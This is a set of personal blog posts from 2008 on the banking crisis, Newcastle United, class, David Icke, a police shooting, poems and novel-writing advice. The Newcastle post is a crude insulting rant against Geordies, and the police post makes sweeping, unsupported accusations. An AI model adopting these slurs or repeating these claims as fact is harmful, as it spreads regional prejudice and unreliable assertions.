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HBOS next to go bust and Geordies go ape – LOL Tue, 16 Sep 2008 19:18:30 +0000 Ivor Griffiths The bubble has burst. The banks have spent the last decade blowing it up and now it has burst in their faces. I feel more sympathy for the shareholders, and the pensioners whose pensions are devalued as a result of the bubble. These merchant bankers have colluded in ramping up the housing market to generate commissions for themselves. It is the pensioners and home buyers who are going to lose billions, the bankers will go fishing. They don’t need our sympathy, they aren’t suffering at all.

If you’ve got money on deposit in banks realise you will only be covered for £35,000.00 in the UK. There is no way that the Bank of England will help another bank. The Northern Rock was a special case, because the northern based Labour Party needed to protect the feckless geordies who borrowed money. Money they could never afford to pay back if interest rates went up a tenth of one per cent.

Talking of geordies I see Newcastle United and Kevin Keegan are starring in their own pantomime. The fans are the panto horse. I saw a dude from geordie land wittering on about how geordies should run the club. Now that made me laugh. Say a hundred thousand geordies decided to buy the club. That will cost about four grand a piece. And that’s for a load of debt. Then they need probably the same again to pay the debt off and be at a zero starting point. Then they need the same again to buy a team and a manager. Not likely is it? Now this Ashley fellow would appear to be a cockney, like me. Now geordies don’t like us. I should know I lived amongst them for thirty years. Predictably they are insulting the poor bloke and threatening his family. The thing he should remember is that most geordies are all mouth and trousers, full of wind and piss and couldn’t fight their way out of a paper bag. Manchester United fans, back in the seventies, the heyday of football hooliganism easily trounced thousands of them (they’re usually to pissed to do much). If I was Ashley I’d let the club disappear into the League and then the conference. I mean all the lad has tried to do is help the ungrateful soft cocks out. Look how he gets repaid. Now Newcastle supporters aren’t typical geordies, although they think they are, and I hope Ashley craps all over them. Threatening his family? What a bunch of turds in black and white shirts.

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The Class War is Over? Mon, 15 Sep 2008 11:35:53 +0000 Ivor Griffiths There seems to be a lot of chat amongst the political class about class. Something to the effect that the class war is over. I’m not so sure it ever started. If it did I haven’t noticed it. People are generally quite selfish and unpleasant when it comes to philanthropy. But the Telegraph newspaper consider it to be hugely relevant that the Labour party are going on about it. The Tories predictably rabbit on about the “politics of envy”; the Labour Party then go on about “the rich” or “the very rich”. I think this may be a distinction without a difference but more likely a way of avoiding the problem most Labour MPs have when it comes to class as they see it. Most “working class” people, and a definition would be helpful, would view an income of £300,000 and above as being rich. So most labour MPs are rich, by their definition they are possibly “upper class”. So if there is a class war it’s that lot that the workers need to be fighting against. But do you have to work to be working class or does it make a non-worker classless. Probably unless they claim benefit when they become “under class”.

I think to say the class war is over is to misunderstand two hundred years and more of political history and philosophical analysis. It’s an issue of class to say something as crass, and wrong-headed quite frankly. Envy is a loaded word. In the context of the smug “I’m okay, it’s your fault you’re not” attitude it may make some sense. But it’s unintelligent to put it forward as a rational comment. Define “class”, define “envy”. Get real.

Of course birth is everything. To say otherwise is to fly in the face of, as the not very funny Pyhton smugsters may have allegedly plagiarised, “the bleedin’ obvious.”

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Gordon Brown’s woes are not a Labour problem – we are all in trouble Mon, 15 Sep 2008 08:24:09 +0000 Ivor Griffiths Gordon Brown’s woes are not a Labour problem – we are all in trouble Telegraph Comment 15/09/08

It isn’t Gordon Brown’s fault that the US thought that houses make money. But it was his fault that he did. He let the banks, the brokers, the estate agents and all the others with a vested in the rest in ramping up house prices fleece trillions from the economy. He has presided over the ransacking of private sector pensions. He fiercely resists the needed rationalisation (ie redundancies) of the public sector. And of course he had a vested interest in the commissions generated in the housing boom – tax receipts. He ran out of money two years ago, Blair saw it coming and bailed out.

Houses don’t generate wealth, they are for living in. Production creates wealth. Ask the Chinese. They know this.

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Was David Icke Right? Sun, 14 Sep 2008 22:28:10 +0000 Ivor Griffiths I don’t know. I’ve never read any of his books and not been told what it is that he may have been right about. However I have just finished watching about three quarters of a programme with that title. For those who may not know David Icke was a sports reporter with the BBC before he had a revelatory experience that some have said was a schizophrenic episode. I do not know the truth or otherwise of that claim. He is of course a charismatic and interesting man. In this programme he seemed to posit the idea of a global conspiracy that is genetic in origin. In other words a group, or groups, of people, that include the Royal Family (but not Harry – mmm) and the Bush dynasty in the States, control the world. These folk are called the Illuminati. They seek to create a global government, with a world army, and presumably bureaucracy and legal system. He doesn’t describe the jurisprudence of this legal system or the structure of the proposed bureaucracy. He believes that this will be precipitated by a way of a contrived war. This war will (and indeed does) include an Islamic uprising and China. The UN will be overwhelmed and chaos will ensue. He also predicts the hurricanes and so on. He is quite animated about “labeling”. He is alluding to semiotics of language here and the power of discourse. I’m not sure what he’s read but I have to say that lot of what he is saying has been written about before. I have been reading Derrida, Foucault, Marx, Nietzsche, Heidegger and so on recently and these chaps do seem to have considered all of these possibilities in various ways. Of interest to me personally is the use of words, discourse and language to shape thought and thus behaviour. He calls people like doctors, lawyers, teachers and reporters “repeaters”. In other words they repeat what they have learnt to trick us all. He seems to have the idea that there is a great grand narrative that these people are reading from and “repeating” in order to con us all. He argues that there is the reality of existence and an alternative depiction of it in the media. The media is of course controlled by the Illuminati. I’m guessing language is as well. Lyotard and others have considered these ideas of course and called it “postmodernism”. This in turn has a strong grounding in the ideas of the post structuralists and the deconstructionist approach towards literature. Icke’s scepticism at the depiction of reality is nothing new here. Kurt Vonnegut and many others have written on the dubious (in their view) nature of history and historicism in the canon.

He seems to be of the view that he is some sort of prophet. He may well be. On the other hand he may be a classic example of the simulacra that Lyotard considers in “The Postmodern Condition”. He is in fact a creation of the very media that he now derides, indeed he worked within it for twenty years and because of that gained a platform. His ideas and what he considers to be original thought are in fact nothing new, but creations of the media and philosophers, they are pieces of “knowledge” that he has assimilated over the years. Subsequent to what he calls his “Turquoise Period”, and what some call schizophrenia, he has distilled this input and has himself been transformed into a “repeater” and is simply repeating what he has subconsciously assimilated.

Nonetheless he is an interesting man and a charismatic speaker. Much of what he says is reminiscent of L. Ron Hubbard’s ideas of aliens and so on. Indeed he has some theory about reptiles, I didn’t catch it all but am guessing it’s as interesting as Hubbard’s ideas on Thetans.

It was well worth watching and respect to him for preaching this view. I agree with his theory of the World Government. But this is simply a natural progression for humans. After all humans are social animals, they live in herds and have a herd mentality. As the world becomes smaller, whether this be as a result of an Illuminati plot, reptile invasion or Thetans et al, it will be natural for there to be bigger and bigger government. The EU is an example of this process.

In short I would say that he is not an original thinker, however the way in which he preaches his ideas is original. His books have merit because they will make some conspiracy theorists think they have a champion. Of course how are they and we to know that David Icke is not an Illuminati placed man and nothing more than a “repeater”.

Then again, what is knowledge? What is truth? What is justice? What is virtue? What is reality? What is good?

Didn’t Socrates start the whole sorry business a couple of thousand years ago?

Philosophy is where it’s at, and well worth “repeating”.

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The Killing of Mark Saunders by The Metropolitan Police Sun, 14 Sep 2008 10:31:11 +0000 Ivor Griffiths The Independent today reports on the killing, the family seem to be arguing assassination, of Mark Saunders. Saunders was a successful and well to do Barrister. He lived in Chelsea, a two million pound flat. Of course anyone who watches films or television drama about the Police will realise that they don’t like lawyers. Lawyers are scum, worse than the criminals that they represent. The only reason criminals escape justice is because of tricky lawyers, or crap juries who are dim-witted and lazy. Nothing to do with the “criminal” being innocent or the prosecution evidence (gathered by the police) being useless. The idea that Police “fit up” villains is a good one, human rights are for nerds and courts are a damned nuisance. These are the usual themes of anti-lawyer police dramas. Rarely do we see the routine corruption that permeates the police, nor the racism, bigotry and routine violence. Of course not all police officers are like that. But many are. There has not been a prosecution of a police officer for murder in the cells ever. There will not be either. The Krays were given tariffs of thirty years. The survivor, I forget if it was Ronnie or Reggie became a political prisoner once his tariff had passed. Harry Roberts, the friend of every football hooligan from the seventies, is a political prisoner. Both because the police opposed their release.

The latest case to collapse and embarrass the prosecuting authorities was the prosecution of those terrorists. In the Telegraph a view was expressed to the effect that the jury were stupid and biased for acquitting the “liquid bombers”. Conveniently forgetting that they convicted some of murder in the same trial. The only folk who heard every word of the evidence were the jury, the lawyers and the judge. They clearly gave the matter much thought.

It is this dangerous “Dirty Harry” point of view that undermines respect for the law across the whole of society. People are not stupid. The police hate lawyers, nine of them shot one called Mark Saunders, who also happened to be rich. He posed no threat, other than as a lawyer. The officers who killed him are allowed to compare notes and get their stories straight. The family, who are challenging this process, are in a position to take them on. There are many dead men who have died violently in the custody of the police who did not have such relatives.

Predictably the Police spin against the grieving family. The only reason, they say, there will not be any prosecutions is because the family are “prejudicing” the case by challenging them. What? Not likely. The chances of the killers being brought to book is zero.

In Lancaster, here in Lancashire, a man who reversed over a four year old child at high speed, and then went over him again going forwards, got out of his car to have a look. He saw what he’d done and ran away with an accomplice. In that case the villain was charged with careless driving. The child was from a background that could be described as economically challenged, working class in other words. Saunders is upper class.

Who said the class war is over?

I personally wish Saunders’ family luck. But they need to watch their backs carefully. The police in the Uk have no respect for the law and get away with it every time.

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UK Poetry Competition – Daily Telegraph Sun, 31 Aug 2008 09:11:23 +0000 Ivor Griffiths Check it out here:

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“Ted” a poem by Ivor Griffiths 2007 Sun, 15 Jun 2008 16:44:11 +0000 Ivor Griffiths Ted

Quark stood with shoulders broken
like cracked paving slabs, crumbling.
He twitched and wobbled with worry,
sweating with strife.
The crowd’s surge like a river of mud,
smelling of rot and disease.
Quark stood amongst the midden,
shifty looking, eyes darting like swallows
or the flick of a Tiger’s tail.
He mouthed a word; a deaf mute’s mewl:

People swarmed around him,
blank-eyed and symbiotic,
grey and lightly rusted –
reminding Quark of tanks in World War I,
or the Spanish Civil War.

In squeezing heat, sweat drizzled his face,
it stung Quark’s eyes. Eyes that reflected the streets
of glass and dirt: hard, sharp and smelling peopled.
The pigeons vanished, like steam in freezing air.

A frog eating a fly: Quark licked his lips,
He looked closely, scrutinising every aspect: hoping
for a perfect being. Quark inspects and considers,

wrapped in the fur of the eyeless horde,
reminiscent of silent canaries
in a brass-barred cage.

Quark runs.

Dodging the onslaught, he eyed it,
hovering above the greyness and flesh,
eyes of glowing obsidian. Reflected by windows
Quark’s head tilts,

                            he studied it;
inspecting for damage.
The crowd grew soundless and solid.Satisfied — Quark approached — stuttering the special word:
a wicked muttering of faith and patience–
a word spoken with a crow’s caw:


Open-faced, striding through the rush;
palms up cawing at the crowd’s crush;
the city cramped, like a centipede’s pincers,
squeezing the thoughts of Quark.
The perfect being hovered there. Above the stone towers.
A floating presence of faith-smog. Above the racket.
He saw it all.

As a melon splits — Quark’s mind cleaved.
Great doors swung — the people’s eyes opened,
bookish faces spread wide, like documents.

They scrutinised Quark with reptilian blinks.
They all looked now,
hard looks,
looks of hate and envy. Crushing looks.

Through eyeglasses they squint
and saw it all
with magnification devices, drilling him out –
assessing him
for future usefulness.

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Today is the Greatest Day Wed, 12 Mar 2008 13:00:22 +0000 Ivor Griffiths Today is the Greatest Day

22/7 = Pi
Neon light bounces — on fragile bronze towers;
dazzling yellow-white light — drenching
cold sap-swollen trees, like warm honey
dripping through fragrant warm half-light
unfolding leaves and erasing the streetlight.

Seven Sticks Burnt
Rolling beneath gilded temple-spires
of commerce and traders in his Deities’ guns.
Curled, like a caterpillar, snug and cocooned
in a rug, wrapped in newspapers: a foetal-man.
Last saw his kids in ’64. Now keeps his memories

3 of them
in a stained gabardine pocket: caresses it daily -
now curled with frayed edges. Smudges of numbers
and names on the back, remind him like half-thoughts.

–Hot light drills to the false skin –

lifting him through
layers of yellow-tint edged clouds, and a fragrance of Spring.

Falling and then
seeing them run in a circle. A circle of town-light,
the smiles ecstatic sparked him, lifting his soul
from the ledge toward a spangling firework spray

- of wonder -
Hot city sun-glare peeled away dreams
of a dazzled half-life.
Shedding his false skin of wonder:
a chrysalis crackling alive to mutate.

Ivor Griffiths 2007; Published in The South Poetry Magazine, Autumn 2007, Issue 36; Dedicated to, and inspired by thoughts of, my children: Rachel and Mark.

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Rachel & Mark Wed, 05 Mar 2008 22:32:28 +0000 Ivor Griffiths Remember what I said in the car?

Remember what I said?

If you don’t see me it isn’t because I don’t want to see you.

I’ve been to Court and everything.

Don’t believe anyone who says I don’t want to see you.

They’re liars.

And they are.


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Death of a Salesman by Arthur Miller Sat, 23 Feb 2008 21:06:26 +0000 Ivor Griffiths Willie Loman lives the American Dream and wishes to foist it upon his son Biff. It is a complex and surreal tale, of life, death and betrayal, of paternal love and fraternal loyalty, the shallowness of business and the depth of true friendship. A modern day tragedy that is as relevant today as the day of its first performance, in London almost sixty years ago.

If you have any insights you would like to share – post them here!

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How to Write a Novel & Short Story – Suspense Thu, 21 Feb 2008 00:16:34 +0000 Ivor Griffiths How to write a Novel & Short Story – Part Four

Suspense, or Keeping the Reader Reading.

“We do our best to paralyze the reader – freeze him to the book. All quivering helplessness, he waits to see what is going to happen next.”

           William Foster-Harris, The Basic Formulas of The Story (1944) Norman:Univeristy of Oklahoma Press.

We need readers to worry and wonder about what will happen to the characters next. We need them held in suspense. Suspense is defined as “the condition of being insecure or uncertain,” in Collins Complete and Unabridged English Dictionary, 2005 Edition.
Frey says that what is undecided is a story question. Story questions make the reader curious, not usually straight out questions, but sometimes they are, they are statements or situations that require further explanation or they could be problems that require a solution, a forecast crisis like a meteor hitting the earth, a death threat, and the like.

“When Dad got released that day he knew he would never go back, not now – whatever happened, not now he knew what he had to do. He just had to figure out how.”

So in this opening the story questions that are asked are:

Why was he in prison? Why won’t he go back? What does he have to do? How will he do it?

This sort of story question, when placed right at the beginning of a story, they are almost always used in a short story, is called a hook. Frey is of the view that both short stories and novels should have a story question, or hook, within the first two sentences. This device should not be used too often and should raise a legitimate question about characters and situations that will be answered.

Kafka, in The Trial begins the story:

“Someone must have traduced Joseph K., for without having done anything wrong, he was arrested one fine day.”

Who traduced him, and why? Why was he arrested? What will happen to him?

Notice too how Kafka also manages to garner our sympathy immediately. This is a very effective technique that if deployed properly will create curiosity and encourage sympathy immediately. The other form of suspense is anxiety and apprehension. Because we have a character that the reader is fully empathising with the reader will want good things to happen to this character. So a little girl who has just been orphaned will generate sympathy, if she then is kidnapped, or as Frey puts it, if the character is plunged into a situation of menace, anxiety is created.
In other words bad things are happening to sympathetic characters. The menace could be social disapproval; a teacher being wrongly accused of molesting pupil, this kind of suspense occurs when there is a reasonable expectation in the reader that bad things will happen to the character with whom they sympathise, identify and empathise.
The most powerful technique is the “lit fuse” technique. In the old Batman television show, from the sixties, each first episode ended with the dynamic duo tied up and about to be cut in half. Or in the James Bond films where Bond must stop the rocket from being launched, even though he’s dangling over a tank of sharks, with no hope of escape and blindfolded. In Jurassic Park, when the two kids and the adult must clamber over the fence, the action switches from the frantic scramble over the fence and then back to the hut where each lever has to be pulled down. In The Trial “will Joseph K. prove his innocence?” is an obvious example.
In action films, such as Indiana Jones, there will often be many scenes in which the fuse is lit, often such films simply consist of this form of suspense.
Frey sums it up:

“Suspense, then, is a matter of creating story questions, putting the sympathetic characters in a situation of menace, and lighting the fuse. It is making the reader worry and wonder.”

Of course the suspense concerns the dynamic characters discussed earlier.
How to Write a Damned Good Novel, James N Frey, 1987, St Martins Press: New York.
How to Write a Damn Good Novel II, James N Frey, 1994, St Martins Press: New York
Solutions for Novelists, Sol Stein, 1999, St Martins Press: New York

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Characterisation – Inducing the Fictive Dream Wed, 20 Feb 2008 23:24:07 +0000 Ivor Griffiths Writing a Novel or Short Story – Part Three

James Frey says that “A transported reader is dreaming the fictive dream.” He supports this idea by quoting John Gardner, in The Art of Fiction (1984), in which he argues that “this [the fictive dream], no matter the genre, is the way fiction does its work.” For Frey the fictive dream is created by the power of suggestion. By this he means that the prose must be full of vivid detail and close observation to pull the reader in to the story. If the prose becomes too telling the reader will be pushed out. Once the reader is seeing the scene then emotional engagement with the main character is required. To achieve this use the technique of garnering sympathy, so, for example, in Mario Puzo’s The Godfather we find ourselves sympathising with the old man whose daughter has been raped. He seeks the help of Don Corleone, the sympathy we feel for the old man is transferred to the protagonist. In your story it could be a man or woman down on their luck, lost a child, lost a leg, whatever. We feel sorry for him or her. Once we have the reader’s sympathy we need to have them identify with the protagonist. So, our protagonist needs a noble cause. In The Godfather Don Corleone’s cause is to punish the rapist, we can identify with that.
Once the reader has identified with our protagonist we need to draw them further in, so that they empathise, they feel what the protagonist feels and can understand why he feels the way he does (from identifying with him or her in the first place). In order to do this we need to carefully incorporate sensuous detail into the prose. This suggests to the reader what it is like to be him or her. We want the reader to feel the anger, shame, hope, love, lust or whatever. The details and emotions must be linked, the use of similes or metaphors will enhance the experience for the reader. The details and the action that evokes the emotion must also be linked, with good use of simile and metaphor to enhance the experience.
Once the reader is transported they must be kept there. This is achieved by the use of conflict; this can be both internal and external. The conflict could be between the character and the environment, an innocent Aristocrat sent to prison for rape offers possibilities, or an irony, a lawyer who loathes the law, a doctor who wants to join the SAS.
The characters must of course have a motivation or drive that informs everything they do. Carrie, in Stephen King’s novel of the same name is driven by her desire to be like the other girls. In our earlier example the Dad’s driving force would be to make it up with is son. So, a main character needs to be driven and dynamic. He must want something desperately, so much so that it pushes him into actions that are out of the ordinary for him and the reader.
James Frey, in How to Write a Damn Good Novel II, puts it his way,
“Dynamic characters have conflicting emotions and desires and are torn apart by strong emotions, such as ambition and love, or fear and patriotism, or faith and lust, or whatever.”
The characters are riven by internally conflicting forces and desires. They resolve these inner conflicts with action that leads to story conflict and more inner turmoil. Frey quotes Edwin Peebles, who writes, in A Professional Storywriter’s Handbook, that characters “must have the uniqueness of real people. They must have the contrasts of inconsistent behaviour common to individuals…contrasts make character.”
Contrasts Bring Characters to Life
Aristotle said, in the Poetics, that readers like an “effective” character, by which he meant competent, in other words good at what they do, whatever that may be. This will ensure identification of the reader. So, the protagonist in a novel should be interesting, in that they are unusual, they may have unusual hobbies, vices, or have done an amazing thing that they keep secret. They will have considered life carefully; this may extend to areas of philosophy, jurisprudence, ethics, and morality, and so on. They may have strong and unusual opinions, but such that the reader will sympathise with him or her. It is likely that they will be a little wacky; Frey’s advice is to exaggerate a characteristic. Think of Colombo, the detective, shambolic, untidy, but effective. A good contrast heightens curiosity and can stimulate an affection for the character and thus increase sympathy and so the menacing circumstance, in which the the character will be placed. In turn, as we know from the essay on suspense, this means that the need to know will continue the fictive dream. And remember this kind of juxtaposition makes literature. The character may have a distorted morality, stealing is okay, for example. But don’t go too far or the reader will not believe in them. Characters are of course involved in the story conflict that is created by the dynamic action that the protagonist engages in to overcome an internal conflict that in turn leads to more inner conflict, and so more story conflict, until there is a climax followed by the obligatory resolution.
Characters must be interesting is a simple way of putting it. One way to know a character is to write a detailed biography of him or her. Write ten or fifteen thousand words about your protagonist, make him interesting in every way, and know his speech, his attitudes, motivation, driving force, loves hates, and so on. Frey gives a great range of advice in his first How to Write a Damn Good Novel.
A character may have a ruling passion in your biography, and at the beginning of the story, it could be as simple as wanting to win the eight ball pool competition at the local bar. This will be overtaken by a new ruling passion if his wife is killed: to bring her killer to justice. His old values may be distorted by the new driving force; this will create inner conflict and lead to story conflict and action. The ruling passion of the protagonist, or any character, is not immutable, it can change temporarily, and may change back at the resolution stage. All of this creates the dramatic tension in a dynamic character driven novel. Whilst the main character may revert to his original ruling passion at the climax and resolution stage he will still have undergone a change, because of his experiences, and his character may have undergone change because of the action. If his ruling passion is reverted to it is usually accompanied by a change in his perspective on life, and a renewed understanding of something, using our earlier story as an example, Dad is reunited with son, but his experiences are such that he values relationships more than money now. This kind of transformation, as long as not an obvious cheesy cliché, will add to the drama of the story.
If your main character has multiple personalities, which are probably the most interesting, a character who has a secret exciting life as gambler, or some such, may get in to all kinds of scrapes. Frey suggests that we consider such characters as ego states. Treat them as separtate characters with the same identity.
“According to the psychological theory of transactional analysis popularized by Eric Byrne in Games People Play, the ego exists in three ego states, the parent, the adult, and the child.” (Frey, p.43)
Consider these ego states as separate characters, so they say and do things in a different way dependant upon the character they are in.
If the scenes that have been created, or indeed the story as a whole, needs to be rewritten, try writing it from an earlier time, and give the characters different objectives. This will help the visualisation of the whole scene in a fresh light.

How to Write a Damned Good Novel, James N Frey, 1987, St Martins Press: New York.
How to Write a Damn Good Novel II, James N Frey, 1994, St Martins Press: New York
Solutions for Novelists, Sol Stein, 1999, St Martins Press: New York

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The Premise of a Novel, or Short Story. Wed, 20 Feb 2008 22:16:50 +0000 Ivor Griffiths How to write a Novel and Short Story Part II

The Premise and Characterisation

There are, for Frey, three kinds of premise:

· The Chain Reaction Premise
· The Opposing Forces Premise
· The Situational Premise

The chain reaction premise involves the protagonist being caught up in an event, or happening, that is then followed by a chain of events that change the character; through to a resolution that proves the premise.

So in Metamorphosis, by Kafka, Gregor wakes one morning to find himself transformed into a giant bug. He is gradually rejected by his family, and those who knew him as human, in a series of incidents narrated from Gregor’s point of view; eventually he dies: rejected, alone and hidden. The insect is a metaphor for a deviation from a norm. So the premise could be: if you deviate too far from the socially accepted norms you will be rejected, isolated and die alone.

In a story that seeks to prove an opposing forces premise the opposing forces create or generate action that befalls the protagonist, who then overcomes various obstacles whilst changing as a person, usually for the better, in such a way as to prove the premise. “Greed destroys idealism” would be a premise of this type, “Love conquers everything but alcoholism,” would be another.

Another way of looking at it is to consider it as a formula:

X vs. Y = Z

Love of Mother vs Love of Wife = Divorce
Love of Wife vs Carnal Love of Mother-in-Law = Horrendous Divorce & Misery

A situational Premise is best suited to an Emile Zola kind of examination of human behaviour, set in extreme conditions. So in The Jungle one could argue that the premise is “Poverty and exploitation destroy families.” Another example would be Tim Obrien’s The Things They Carried in which he tells a number of war stories that each have their own premise.

In a multi-premise novel, such as Anna Karenina, or The Things They Carried it is because they have more than one story. Arguably The Things They Carried is a collection of Short Stories and Anna Karenina has two stories within it, Crime & Punishment is another example of two stories entwined. They have more than one premise because there is more than one story. So, in a story about a family you may have two brothers who are each protagonists in their own stories. They may switchback, alternating chapters, flashbacks, or whatever device the author chooses. Look at the text as being a collection of stories, each with their own premise that needs to be proved.

How to Incorporate a Premise

If you have an idea for a story, for example, you want to write a story about a man who is reunited with a long lost son after years of forced separation. It needs a premise. Or it will be boring.

· Opening Situation
Dad gets out of prison, or a coma, or just feels guilty.

· Inciting Incident
Dad’s little boy gets ill, nearly dies, he thinks of his long lost son.
He decides to look up his Son, he imagines the wonder of it when they meet and how happy they will be to be re-united, he’s missed him for years.

· Complications
His wife isn’t happy about it all – complication.
He doesn’t know where to start looking – complication.
Meets old friend who knows bent cop who’ll help – complication.
He gets the address but then the cop gets caught and has to give reason for looking for son, makes up a crime and gets son arrested – complication.
Father makes contact with son and his mother, son rejects him, ex-partner blames him, in the meantime his wife leaves him, taking his young son with her – complication.

· Climax
He has a confrontation with his ex and his wife.

· Resolution
This leads to the son agreeing to meet the Dad, the cop gets caught red-handed in another corrupt practice, Dad spills the beans, takes the rap and saves the Son. The Son loves him after all and even gets on with Dad’s latest wife who has returned and respects his paternal love.

The premise being “nothing worth having is easy to get” or “blood is thicker than water”.

How to Write a Damned Good Novel, James N Frey, 1987, St Martins Press: New York.
How to Write a Damn Good Novel II, James N Frey, 1994, St Martins Press: New York
Solutions for Novelists, Sol Stein, 1999, St Martins Press: New York

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How to Write a Novel & Short Story Mon, 18 Feb 2008 23:49:00 +0000 Ivor Griffiths How to write a Novel and Short Story – Part One 

This essay considers the correct approach to writing a novel. Whilst limited to novel writing, the ideas of characterisation, premise and scene development are also applicable, to varying degrees, to short stories; the views and suggestions of Sol Stein and James N. Frey, in their respective publications: Solutions for Novelists, and How to Write a Damned Good Novel I & II. First considered are some practical suggestions by Stein, then scene construction, a novel’s premise, the different types of premise, and the effect of changing the premise. Because the premise, or sub-text of a novel, is fundamental to story development, and success this will be examined in some detail and draw heavily on Frey’s theories. The final section of the essay will consider both authors’ approaches to characterisation. Frey’s approach is favoured in the areas of premise and characterisation, whilst Stein’s practical approach to scene development and construction is given more weight. Frey considers that a “damn good novel” must be focused around a dynamic character and be written in third person, limited to the main dynamic character. Stein does not consider that point of view should be considered so rigidly. All of the ideas expressed in this essay, in the main derived from Frey, can, it is submitted, be applied in any novel, regardless of point of view.

Stein states what may seem obvious when read, but is often ignored in practice. “The needs and wants of a reader are paramount,” a reader expects to explore an experience that is different from and greater than his or her everyday life experiences. Stein urges us to consider, at the planning stage, the following needs:

As reader picks up a novel to see something out of the ordinary, as Sol Stein puts it, “the sports’ spectator seeks the excitement that does not usually occur in daily life”. (p. 8). In other words, do not let them get bored. Ever.

Secondly, like Frey, Stein argues that strong characterisations, and not plot, are what become memorable to readers. For Stein and Frey characters are what make a story evocative, and memorable.

So, consider the experience of the reader in each scene and that which the scene is seeking to achieve. Is it necessary? Could you read the story without that scene?
Consider the effect of each scene and the order of scenes at the planning stage.

A synopsis is usually necessary but should not be used for planning.

Stein advises the use of index cards to note each scene. A separate card for each scene; one can usefully make notes on the back. In this way one can also experiment with the order of scenes. This technique can be usefully combined with Frey’s idea of “premise,” which will be considered further on in detail.

It is important to understand that premise is distinct from the idea of a story’s “theme” and “moral”; the themes and morals of a story are also distinct. A theme has been said by Dean Koontz in How to write Best Selling Fiction as “a series of related observations (in scenes) about one aspect or another of the human condition, interpreted from the unique viewpoint of the author”. Frey describes the theme(s) as “recurring fictional ideas, aspects of human existence that are being tested or explored in the course of the novel.” (p. 54) But the same idea would be equally applicable to shorter stories. Examples would be The Jungle and Emile Zola’s ideas of using characters in stories as a kind of laboratory to explore human behaviour and explain it.

The moral of a story is something like “crime doesn’t pay” or “blood is thicker than water” and so on. It is obvious really and not essential.

The premise, which will be considered in detail later, is described at length by Frey but can be summarised as a statement of what happens to the characters, as a result of the actions of the story, described in its scenes. From this one can see that the importance of scenes is obvious: they prove the premise. Stein considers scenes at some length, and believes that they should create tension, conflict, suspense, convey information through dialogue, and contain “action”. He asks his readers to consider some questions to focus the mind:

· In what way does the reader feel an emotion, affection, sympathy, or compassion that the author requires from the scene? Frey puts it more bluntly when he suggests that we must first sympathise before we can identify with and ultimately feel an empathy with a character, especially the main character. This idea of characterisation will be considered at length in due course.
· Is there another character in the scene in opposition to the main character in that scene? If so, is the conflict subtle or overt? Is it physical or psychological? Is it internal or external? Is it an adversarial situation from which the main character in the scene emerges triumphant, or does the main character suffer a set back?
· Is the main character in the scene, the one whose point of view you are using, the character most affected by what happens in the scene?
· Is the scene described in terms of action that takes place?
· NB “action”, for Stein’s purposes, can be physical or internal. For example, an argument that progresses on an exponential curve can be an action, even though there is no physicality in the scene.
· Is the scene visible? Is it showing, not telling?
· Does the end of the scene keep the reader reading on to the next scene? As Stein puts it succinctly, “never take the reader where the reader wants to go.”

As Stein summarises, “the reader is moved by seeing what happens to the characters engaged with each other.” Everything that occurs in a scene must be necessary to prove the novel or story’s premise. The scene outline that is created on index cards will assist in ensuring this, as well as in highlighting superfluous scenes, but it is the writing that creates tension, suspense, and a need to know.

The essence of book-length suspense is to keep the reader curious, especially at the end of each chapter, and to frustrate the reader’s expectation by the way an author starts the next chapter. In a short story the same would be said of each scene. Of course there may be less opportunity to develop a character in a short story so information dump and characterisation is best contained within dialogue and action.

The scene outline will allow the writer to identify scenes with no action or conflict within them and those that do not add to proving the premise. Such scenes are usually information dumps and telling. Take that scene out or redraft it.

An example of a premise would be to say that,

“Blood is thicker than water; love is thicker still, even surpassing differences in class, but such love usually ends in tears.”

The actions of a story are contained within the text, and prove the premise of the story. The premise of the story is contained within the subtext: the actions in the scenes, and the transformation, usually of the main character, whether this is an epiphany, triumph, or even disaster, will show that the premise is proved.

Frey asks us to consider whether there are any actions in the story that are not evidential (either for or against) the premise? Does the scene add weight to the premise? Is the premise proved sufficiently?

Frey argues for a test to be applied to a text:

If the order of events (actions) can be changed without changing the story there is probably no premise or the story is not developing well. If the story is proving the premise then the chances are development is occurring. If to change the order of the scenes would be to change the premise then the scene order is effective.

“A premise says that through a causal chain of events, one situation will lead to another, and will eventually lead to a resolution.” (p. 58, Frey)

There are three type of premise for Frey:

1. The Chain Reaction.
2. Opposing Forces.
3. Situational.

Each will be considered in the next post.

How to Write a Damned Good Novel, James N Frey, 1987, St Martins Press: New York.
How to Write a Damn Good Novel II, James N Frey, 1994, St Martins Press: New York
Solutions for Novelists, Sol Stein, 1999, St Martins Press: New York

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Dog Day Dreaming Sun, 17 Feb 2008 22:02:57 +0000 Ivor Griffiths It’s weird. I woke up about twelve o’clock, the brightness of the curtains woke me, I squinted against the filtered sunlight, trying to hold back the sleep and linger in my dream. It was a good one, and Technicolor, so I didn’t want to leave.

I’d been walking my dog, not while I was asleep, no, in my dream. He’s an old Staffordshire Bull Terrier, twelve years old in fact. He’s got a grey beard now, and he hasn’t jumped for years, his eyebrows and paws are flecked with grey, and his hearing isn’t what it was. He hobbles occasionally, and struggles on the stairs sometimes, especially in the winter, because of a football. I remember the day he caught it, arthritis that is. He’d been chasing a ball and in my naivety I kicked it towards a wall, we’d been out for the day, to the seaside town of South Shields, and were near the beach. The sand made the height of the sea wall seem a lot less than it was, he jumped for it and fell about five feet landing on his left shoulder and sprawling in the sand. He limped for a couple of days after that so we took him to the vet; when we were there, it was his first visit, he stood hunched over, his tail curled round tightly to cover his balls. They are telepathic I’m sure, dogs not vets, every time we take him back there I can sense him thinking that today is the day he gets his package lopped off. I just don’t think it should be allowed. It’s as bad as slavery really; dog and cat ownership that is. The things some of those old slave owners used to do to those people on the plantations, and their children, it’s beyond comprehension, imagine it, to have someone control your every movement, to be able to sell your children, sell you, rape you or castrate you, at a whim; or your children. Because they own you; but that’s besides the point, back to dreamland.

In this dream Edgar and I had been walking for miles and miles, across hills and through valleys, I distinctly remember the colours being primary. Mainly green with patches of reds and yellows that comprised the colours of the large petals of flowers that sprung from the perfectly manicured grass at random points along our path. Breaking the horizon was a permanent line of fir trees, and the sun was not so bright I could not look directly at it. There seemed to be a fog hovering above us, as if we were on a massive set in a movie studio. Old Edgar, that’s what we’d called him, in honour of Poe, had dropped his chin but managed, in the way of dogs, to look up at me with doe like eyes that seemed filled with tears. I stopped walking, sensing his stare, and turned, looking down at him. I remembered him as a bouncing pup clumsy and cute; then as an aggressive adolescent, forever chasing dogs three times his size, for miles and miles, ignoring all of my frantic efforts to get him to return to the leash.

